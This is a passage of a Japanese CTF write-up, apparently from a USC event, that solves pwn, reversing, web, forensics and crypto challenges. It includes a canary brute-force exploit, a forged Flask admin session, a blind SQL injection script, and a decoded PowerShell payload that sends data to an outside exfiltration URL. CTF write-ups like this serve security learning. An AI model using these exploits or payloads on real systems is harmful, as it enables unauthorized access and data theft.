__stack_chk_fail();
}
return;
}
72バイトのあとにcanary値があると思われる。canary値を先頭からブルートフォースで探り、win関数を呼び出せばフラグが得られる。
$ ROPgadget --binary ./reader | grep ": ret"
0x000000000040101a : ret
0x00000000004012be : ret 0x8d48
from pwn import *
p = remote('0.cloud.chals.io', 10677)
elf = ELF('./reader')
ret_addr = 0x40101a
win_addr = elf.symbols['win']
payload = b'A' * 72
for i in range(8):
found = False
for j in range(256):
if j == 10:
continue
data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload + bytes([j]))
p.send(payload + bytes([j]))
data = p.recvline().decode().rstrip()
print(data)
data = p.recv(3).decode()
if data != '***':
found = True
payload += bytes([j])
break
else:
data += p.recvline().decode().rstrip()
print(data)
if found == False:
log.error('Failed to leak canary!')
exit(1)
payload += p64(ret_addr)
payload += p64(win_addr)
data += p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvrepeat(1).decode()
print(data)
実行結果は以下の通り。
:
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xeb'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xec'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xed'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xee'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xef'
Your data was read. Did you get the flag?
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xef\x1a\x10@\x00\x00\x00\x00\x00v\x12@\x00\x00\x00\x00\x00'
Your data was read. Did you get the flag?
CYBORG{u_hulk_sm4sh3d_th4t_c4n4ry_l1k3_a_ch4mp!!!
Enter some data:
[*] Closed connection to 0.cloud.chals.io port 10677
最後の"}"がないので、"}"を付ける。
CYBORG{u_hulk_sm4sh3d_th4t_c4n4ry_l1k3_a_ch4mp!!!}
trynewthings (rev)
Ghidraでデコンパイルする。
undefined8 main(int param_1,undefined8 *param_2)
{
char *pcVar1;
bool bVar2;
undefined8 uVar3;
undefined7 extraout_var;
if (param_1 < 2) {
fprintf(stderr,"usage: %s guess\n",*param_2);
uVar3 = 1;
}
else {
pcVar1 = (char *)param_2[1];
bVar2 = check_flag(pcVar1);
if ((int)CONCAT71(extraout_var,bVar2) == 0) {
puts("Incorrect");
}
else {
printf("Correct: %s\n",pcVar1);
}
uVar3 = 0;
}
return uVar3;
}
bool check_flag(char *param_1)
{
undefined8 uVar1;
size_t local_28;
void *local_20;
int local_14;
size_t local_10;
local_10 = strlen(param_1);
encode((long)param_1,local_10,&local_20,&local_28);
uVar1 = check_encoded_guess((long)local_20,local_28);
local_14 = (int)uVar1;
free(local_20);
return local_14 == 0;
}
void encode(long param_1,size_t param_2,void **param_3,size_t *param_4)
{
char cStack_25;
undefined2 local_24;
undefined local_22;
void *local_20;
size_t local_18;
ulong local_10;
local_18 = param_2;
local_20 = malloc(param_2);
local_24 = 0x67;
local_22 = 0;
for (local_10 = 0; local_10 < param_2; local_10 = local_10 + 1) {
*(char *)(local_10 + (long)local_20) =
*(char *)((long)&local_24 + (1 - local_10)) + *(char *)(local_10 + param_1) + -0x3c;
}
*param_3 = local_20;
*param_4 = local_18;
return;
}
undefined8 check_encoded_guess(long param_1,long param_2)
{
undefined8 uVar1;
ulong local_10;
if (param_2 == 0x18) {
for (local_10 = 0; local_10 < 0x18; local_10 = local_10 + 1) {
if (*(char *)(local_10 + param_1) != (&DAT_00102004)[local_10]) {
return 0xffffffff;
}
}
uVar1 = 0;
}
else {
uVar1 = 0xffffffff;
}
return uVar1;
}
DAT_00102004 XREF[2]: check_encoded_guess:00101285(*),
check_encoded_guess:00101293(*)
00102004 07 ?? 07h
00102005 84 ?? 84h
00102006 74 ?? 74h t
00102007 7c ?? 7Ch |
00102008 88 ?? 88h
00102009 70 ?? 70h p
0010200a a4 ?? A4h
0010200b a4 ?? A4h
0010200c 92 ?? 92h
0010200d a1 ?? A1h
0010200e 97 ?? 97h
0010200f 9b ?? 9Bh
00102010 a9 ?? A9h
00102011 8e ?? 8Eh
00102012 65 ?? 65h e
00102013 af ?? AFh
00102014 9d ?? 9Dh
00102015 98 ?? 98h
00102016 9c ?? 9Ch
00102017 95 ?? 95h
00102018 8d ?? 8Dh
00102019 a4 ?? A4h
0010201a 8a ?? 8Ah
0010201b ad ?? ADh
0010201c 00 ?? 00h
encode関数があまり正確にデコンパイルできていないようなので、アセンブリを見てみる。
**************************************************************
* FUNCTION *
**************************************************************
undefined __stdcall encode(long param_1, size_t param_2,
undefined AL:1 <RETURN>
long RDI:8 param_1
size_t RSI:8 param_2
void * * RDX:8 param_3
size_t * RCX:8 param_4
undefined8 Stack[-0x10]:8 local_10 XREF[6]: 001013e1(W),
001013ef(R),
00101400(R),
00101412(R),
0010141d(RW),
00101422(R)
undefined8 Stack[-0x18]:8 local_18 XREF[2]: 00101368(W),
0010143b(R)
undefined8 Stack[-0x20]:8 local_20 XREF[3]: 00101378(W),
0010140e(R),
00101430(R)
undefined1 Stack[-0x22]:1 local_22 XREF[1]: 001013dd(W)
undefined2 Stack[-0x24]:2 local_24 XREF[1]: 001013d7(W)
undefined4 Stack[-0x28]:4 local_28 XREF[1]: 001013d0(W)
undefined8 Stack[-0x30]:8 local_30 XREF[1]: 001013cc(W)
undefined8 Stack[-0x38]:8 local_38 XREF[1]: 001013c8(W)
undefined8 Stack[-0x40]:8 local_40 XREF[1]: 001013b0(W)
undefined8 Stack[-0x48]:8 local_48 XREF[1]: 001013ac(W)
undefined8 Stack[-0x50]:8 local_50 XREF[1]: 00101394(W)
undefined8 Stack[-0x58]:8 local_58 XREF[1]: 00101390(W)
undefined8 Stack[-0x60]:8 local_60 XREF[2]: 00101354(W),
001013eb(R)
undefined8 Stack[-0x68]:8 local_68 XREF[4]: 00101358(W),
00101364(R),
0010136c(R),
00101426(R)
undefined8 Stack[-0x70]:8 local_70 XREF[2]: 0010135c(W),
0010142c(R)
undefined8 Stack[-0x78]:8 local_78 XREF[2]: 00101360(W),
00101437(R)
encode XREF[4]: Entry Point(*),
check_flag:0010121c(c), 0010208c,
00102188(*)
00101348 f3 0f 1e fa ENDBR64
0010134c 55 PUSH RBP
0010134d 48 89 e5 MOV RBP,RSP
00101350 48 83 ec 70 SUB RSP,0x70
00101354 48 89 7d a8 MOV qword ptr [RBP + local_60],param_1
00101358 48 89 75 a0 MOV qword ptr [RBP + local_68],param_2
0010135c 48 89 55 98 MOV qword ptr [RBP + local_70],param_3
00101360 48 89 4d 90 MOV qword ptr [RBP + local_78],param_4
00101364 48 8b 45 a0 MOV RAX,qword ptr [RBP + local_68]
00101368 48 89 45 f0 MOV qword ptr [RBP + local_18],RAX
0010136c 48 8b 45 a0 MOV RAX,qword ptr [RBP + local_68]
00101370 48 89 c7 MOV param_1,RAX
00101373 e8 78 fd CALL <EXTERNAL>::malloc void * malloc(size_t __size)
ff ff
00101378 48 89 45 e8 MOV qword ptr [RBP + local_20],RAX
0010137c 48 b8 6d MOV RAX,0x65697368676e696d
69 6e 67
68 73 69 65
00101386 48 ba 68 MOV param_3,0x6d74726170656468
64 65 70
61 72 74 6d
00101390 48 89 45 b0 MOV qword ptr [RBP + local_58],RAX
00101394 48 89 55 b8 MOV qword ptr [RBP + local_50],param_3
00101398 48 b8 65 MOV RAX,0x656c65666f746e65
6e 74 6f
66 65 6c 65
001013a2 48 ba 63 MOV param_3,0x616c616369727463
74 72 69
63 61 6c 61
001013ac 48 89 45 c0 MOV qword ptr [RBP + local_48],RAX
001013b0 48 89 55 c8 MOV qword ptr [RBP + local_40],param_3
001013b4 48 b8 6e MOV RAX,0x7475706d6f63646e
64 63 6f
6d 70 75 74
001013be 48 ba 65 MOV param_3,0x656e69676e657265
72 65 6e
67 69 6e 65
001013c8 48 89 45 d0 MOV qword ptr [RBP + local_38],RAX
001013cc 48 89 55 d8 MOV qword ptr [RBP + local_30],param_3
001013d0 c7 45 e0 MOV dword ptr [RBP + local_28],0x6e697265
65 72 69 6e
001013d7 66 c7 45 MOV word ptr [RBP + local_24],0x67
e4 67 00
001013dd c6 45 e6 00 MOV byte ptr [RBP + local_22],0x0
001013e1 48 c7 45 MOV qword ptr [RBP + local_10],0x0
f8 00 00
00 00
001013e9 eb 37 JMP LAB_00101422
encode関数では各アドレスに以下のように値を格納している。
・RBP + local_58: 0x65697368676e696d
・RBP + local_50: 0x6d74726170656468
・RBP + local_48: 0x656c65666f746e65
・RBP + local_40: 0x616c616369727463
・RBP + local_38: 0x7475706d6f63646e
・RBP + local_30: 0x656e69676e657265
・RBP + local_28: 0x6e697265
・RBP + local_24: 0x67
つまり、最初は0で、RBP + local_24から順にシフトしていき、以下のような処理になっている。
・out[0] = 0 + in[0] - 0x3c
・out[1] = 0x67 + in[1] - 0x3c
・out[2] = 0x6e + in[2] - 0x3c
・out[3] = 0x69 + in[3] - 0x3c
・out[4] = 0x72 + in[4] - 0x3c
・out[5] = 0x65 + in[5] - 0x3c
:
check_encoded_guess関数ではDAT_00102004と一致しているかをチェックしている。このことを元に復号する。
enc = [0x07, 0x84, 0x74, 0x7c, 0x88, 0x70, 0xa4, 0xa4, 0x92, 0xa1, 0x97, 0x9b,
0xa9, 0x8e, 0x65, 0xaf, 0x9d, 0x98, 0x9c, 0x95, 0x8d, 0xa4, 0x8a, 0xad]
key = '00676e697265'
key += '656e69676e657265'
key += '7475706d6f63646e'
key += '616c616369727463'
key += '656c65666f746e65'
key += '6d74726170656468'
key += '65697368676e696d'
flag = ''
for i in range(len(enc)):
flag += chr(enc[i] + 0x3c - int(key[i*2:i*2+2], 16))
print(flag)
CYBORG{reverse-viginere}
Tommy's Artventures (web)
以下のアカウント情報を作成し、ログインする。
Username: hoge
Password: fuga
クッキーのsessionを見ると以下のようになっている。
eyJ1c2VyIjoiaG9nZSJ9.ZyXYNw.EEKIzCDsrQgY9j2kMAbL1MIps5c
https://usc-tommyartventures.chals.io/curateにアクセスすると、以下のようなメッセージが表示される。
Error: must be 'admin' to curate artwork
$ flask-unsign --decode --cookie 'eyJ1c2VyIjoiaG9nZSJ9.ZyXYNw.EEKIzCDsrQgY9j2kMAbL1MIps5c'
{'user': 'hoge'}
secret keyが以下であるとわかっているので、これを使ってsignする。
4a6282bf78c344a089a2dc5d2ca93ae6
$ flask-unsign --sign --cookie "{'user': 'admin'}" --secret '4a6282bf78c344a089a2dc5d2ca93ae6'
eyJ1c2VyIjoiYWRtaW4ifQ.ZyXa5w.iZG6lCO2PPXKIYIIyUrwyn3CBlM
これをクッキーのsessionに設定し、https://usc-tommyartventures.chals.io/curateにアクセスすると、フラグが表示された。
CYBORG{oce4n5_auth3N71ca7i0N}
Spooky Query Leaks (web)
"admin"ユーザでログインできれば、フラグが表示される。
SQLインジェクションで、usersテーブルに(flagの先頭1バイト, 指定のパスワード)をinsertする。ログインを試行して、ブルートフォースでflagの先頭1バイトを見つける。
同様に2バイト目以降も実行して、フラグを割り出す。
import requests
from werkzeug.security import generate_password_hash
password = 'pass'
pw_hash = generate_password_hash(password)
base_url = 'https://usc-spookyql.chals.io/0b064a9b-c899-46ff-ab30-22c9e9b10b0c/'
flag = ''
i = len(flag) + 1
while True:
url = base_url + 'register'
payload = {"username": str(i) + "', 'a'), ((select substring(flag, 1, " + str(i) + ") from flags), '" + pw_hash + "') --", "password": "a"}
r = requests.post(url, data=payload)
url = base_url + 'login'
for code in range(32, 127):
try_flag = flag + chr(code)
print('[+] try_flag:', try_flag)
payload = {"username": try_flag, "password": password}
r = requests.post(url, data=payload)
if r.text != 'Invalid credentials.':
flag += chr(code)
i += 1
break
if flag[-1] == '}':
break
print('[*] flag:', flag)
実行結果は以下の通り。
:
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!t
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!u
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!v
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!w
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!x
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!y
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!z
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!{
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!|
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}
[*] flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}
CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}
think_twice (forensics)
EXIF情報を見てみる。
$ exiftool metadata.png
ExifTool Version Number : 12.76
File Name : metadata.png
Directory : .
File Size : 400 kB
File Modification Date/Time : 2024:11:02 13:10:07+09:00
File Access Date/Time : 2024:11:02 13:10:22+09:00
File Inode Change Date/Time : 2024:11:02 13:10:07+09:00
File Permissions : -rwxrwxrwx
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
Orientation : Horizontal (normal)
X Resolution : 144
Y Resolution : 144
Resolution Unit : inches
Software : UTNsaU1ISm5lMDFqUTJGeWRHaDVmU0E9
User Comment : Screenshot
Exif Image Width : 1014
Exif Image Height : 1162
Profile CMM Type : Apple Computer Inc.
Profile Version : 2.1.0
Profile Class : Display Device Profile
Color Space Data : RGB
Softwareにbase64文字列らしきものが設定されている。
$ echo UTNsaU1ISm5lMDFqUTJGeWRHaDVmU0E9 | base64 -d
Q3liMHJne01jQ2FydGh5fSA=
$ echo UTNsaU1ISm5lMDFqUTJGeWRHaDVmU0E9 | base64 -d | base64 -d
Cyb0rg{McCarthy}
Cyb0rg{McCarthy}
pineapple (forensics)
httpでフィルタリングする。No.1475パケットで、以下の情報をPOSTしていることがわかる。
Form item: "username" = "jbarker"
Form item: "filename" = "hoolicon"
Form item: "filepw" = "conjoined_TRIANGLES"
またNo.1826パケットでhoolicon.7zというファイル名の7-zipファイルをPOSTしていることがわかるので、エクスポートする。
先ほどのパスワード "conjoined_TRIANGLES" で解凍すると、flagimg.pngが展開され、その画像にフラグが書いてあった。
CYBORG{pe4cefaRe_4x09}
Computer Has Virus (forensics)
emlファイルのbase64部分を抽出し、base64デコードし、antivirus.exeを生成する。
from base64 import *
with open('URGENT.eml', 'r') as f:
lines = f.read().splitlines()
b64 = ''.join(lines[84:552])
exe = b64decode(b64)
with open('antivirus.exe', 'wb') as f:
f.write(exe)
$ file antivirus.exe
antivirus.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
.Net製なので、dnSpyでデコンパイルする。Resourceのtest.ps1には以下のように書いてある。
$compressed = 'H4sIAAAAAAAA/1TNQWvyQBDG8Xs+xRgCrx4SFW+B8EJFtIcSMA1SSglxHZOlyW66+6xtEL97iVhpr8P8n19wbMqKEvKXLw/pdn3OFsKZOfoCtZm5qi7Svb1d5rZQMxSnhekLO7wtRhffC1gJSug16y24jXa8jzZAl0M2Ev1bHOemWSmhDzy+WhPyApSmYuSmGeAa6OLp1FkhcOSvo2xgSkitIqHb6f3A/4c6GTifPJiezh4RUWDYdlpZpoQe1Um/c7jj/ZY/HFtQmBtJv7zwiVHrA61Xz9d6ZyQ4TB06B/J/pmIKxvfdKEMJZ5f6wBOfvAuJEqK+6X/7fEPpZkSZbhm1VNU/S59Gq2o0dN53AAAA//+hRs8SawEAAA=='; $bytes = [System.Convert]::FromBase64String($compressed); $stream = New-Object IO.MemoryStream(, $bytes); $decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); $reader = New-Object IO.StreamReader($decompressed); $obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated
改行を入れて読みやすくする。
$compressed = 'H4sIAAAAAAAA/1TNQWvyQBDG8Xs+xRgCrx4SFW+B8EJFtIcSMA1SSglxHZOlyW66+6xtEL97iVhpr8P8n19wbMqKEvKXLw/pdn3OFsKZOfoCtZm5qi7Svb1d5rZQMxSnhekLO7wtRhffC1gJSug16y24jXa8jzZAl0M2Ev1bHOemWSmhDzy+WhPyApSmYuSmGeAa6OLp1FkhcOSvo2xgSkitIqHb6f3A/4c6GTifPJiezh4RUWDYdlpZpoQe1Um/c7jj/ZY/HFtQmBtJv7zwiVHrA61Xz9d6ZyQ4TB06B/J/pmIKxvfdKEMJZ5f6wBOfvAuJEqK+6X/7fEPpZkSZbhm1VNU/S59Gq2o0dN53AAAA//+hRs8SawEAAA==';
$bytes = [System.Convert]::FromBase64String($compressed);
$stream = New-Object IO.MemoryStream(, $bytes);
$decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress);
$reader = New-Object IO.StreamReader($decompressed);
$obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated
base64文字列部分をデコードすると、gzファイルになるので、解凍・展開する。
from base64 import *
import gzip
compressed = 'H4sIAAAAAAAA/1TNQWvyQBDG8Xs+xRgCrx4SFW+B8EJFtIcSMA1SSglxHZOlyW66+6xtEL97iVhpr8P8n19wbMqKEvKXLw/pdn3OFsKZOfoCtZm5qi7Svb1d5rZQMxSnhekLO7wtRhffC1gJSug16y24jXa8jzZAl0M2Ev1bHOemWSmhDzy+WhPyApSmYuSmGeAa6OLp1FkhcOSvo2xgSkitIqHb6f3A/4c6GTifPJiezh4RUWDYdlpZpoQe1Um/c7jj/ZY/HFtQmBtJv7zwiVHrA61Xz9d6ZyQ4TB06B/J/pmIKxvfdKEMJZ5f6wBOfvAuJEqK+6X/7fEPpZkSZbhm1VNU/S59Gq2o0dN53AAAA//+hRs8SawEAAA==';
stream = b64decode(compressed)
with open('flag.gz', 'wb') as f:
f.write(stream)
with gzip.open('flag.gz', 'rb') as gf:
content = gf.read().decode()
print(content)
実行結果は以下の通り。
$flag = "CYBORG{S3cur1ty_thr0ugh_Obscur1ty_1s_n0t_v3ry_s3cur3!}"
$enc = [System.Web.HttpUtility]::UrlEncode($flag)
$targetUrl = "http://uscctfexfiltration.com/exfiltrate?flag=$enc"
try {
$response = Invoke-WebRequest -Uri $targetUrl -Method GET
Write-Output "response: $($response.StatusCode)"
} catch {
Write-Output "UH OH! Something's wrong!"
}
CYBORG{S3cur1ty_thr0ugh_Obscur1ty_1s_n0t_v3ry_s3cur3!}
decipherium (crypto)
元素記号を表していると推測する。以下のように原子番号に置き換える。
・Cd: 48
・In: 49
・Sn: 50
・Sb: 51
・Te: 52
・I : 53
・Xe: 54
・Cs: 55
・Ba: 56
・La: 57
・Dy: 66
・Ho: 67
・Er: 68
・Yb: 70
・Fm: 100
・Md: 101
・No: 102
16進数文字列になるので、hexデコードすればフラグになる。
from string import *
with open('message.txt', 'r') as f:
data = f.read().rstrip()
symbols = []
for i in range(len(data)):
if data[i] in ascii_uppercase:
symbols.append(data[i])
else:
symbols[-1] = symbols[-1] + data[i]
atomic_number = {'Cd': 48, 'In': 49, 'Sn': 50, 'Sb': 51, 'Te': 52, 'I': 53,
'Xe': 54, 'Cs': 55, 'Ba': 56, 'La': 57, 'Dy': 66, 'Ho': 67, 'Er': 68,
'Yb': 70, 'Fm': 100, 'Md': 101, 'No': 102}
msg = ''
for symbol in symbols:
msg += chr(atomic_number[symbol])
flag = bytes.fromhex(msg).decode()
print(flag)
CYBORG{PERI0DIC_C1PH3R_0F_3LEMENT5}
unpopcorn (crypto)
暗号化処理の概要は以下の通り。
・m = 57983
・p: 未知の数値
・flag: フラグ
・msg = churn(butter(pop(flag)))
・popは各文字のASCIIコードと42とのXORした数値配列
・butterは各数値にpを掛けmで割った余りの数値配列
・churnは各数値を3ビット左シフトしたものの16進数文字列の16個目以降と先頭16個目を並べたもの
・msgをmessage.txtに書き込み
pが不明なので、フラグが"CYBORG{"から始まることを前提にpを割り出す。あとは逆算して元に戻す。
from Crypto.Util.number import *
m = 57983
with open('message.txt', 'r') as f:
ct = f.read().split(' ')
ct = ct[-16:] + ct[:-16]
ct = [int(c, 16) >> 3 for c in ct]
flag_head = 'CYBORG{'
p = ct[0] * inverse(ord(flag_head[0]) ^ 42, m) % m
for i in range(len(flag_head)):
assert (ord(flag_head[i]) ^ 42) * p % m == ct[i]
flag = ''
for i in range(len(ct)):
x = ct[i] * inverse(p, m) % m
flag += chr(x ^ 42)
print(flag)
CYBORG{R1Ch_BUTT3RY_SUSTENANC3}
D' Lo (crypto)
秘密鍵の下位240ビットがわかっているので、Partial Key Exposure Attackでnを素因数分解し復号する。
from Crypto.Util.number import *
def partial_p(p0, kbits, n):
PR.<x> = PolynomialRing(Zmod(n))
nbits = n.nbits()
f = 2^kbits * x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits // 2 - kbits), beta=0.3)
if roots:
x0 = roots[0]
p = gcd(2^kbits * x0 + p0, n)
return ZZ(p)
def find_p(d0, kbits, e, n):
X = var('X')
for k in range(1, e + 1):
results = solve_mod([e * d0 * X - k * X * (n - X + 1) + k * n == X],
2^kbits)
for x in results:
p0 = ZZ(x[0])
p = partial_p(p0, kbits, n)
if p:
return p
e = 7
n = 9537465719795794225039144316914692273057528543708841063782449957642336689023241057406145879616743252508032700675419312420008008674130918587435719504215151
c = 4845609252254934006909399633004175203346101095936020726816640779203362698009821013527198357879072429290619840028341235069145901864359947818105838016519415
d_low = 'b9b24053029f5f424adc9278c750b42b0b2a134b0a52f13676e94c01ef77'
kbits = len(d_low) * 4
d0 = int(d_low, 16)
p = find_p(d0, kbits, e, n)
q = n // p
assert p * q == n
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(int(m)).decode()
print(flag)
CYBORG{H0w_w3ll_d0_y0u_th1nk_d'lo_w1ll_d0_7h15_53ason??}
Survey (feedback)
アンケートに答えたら、フラグが表示された。
CYBORG{usc_ctf_feedback_submitted}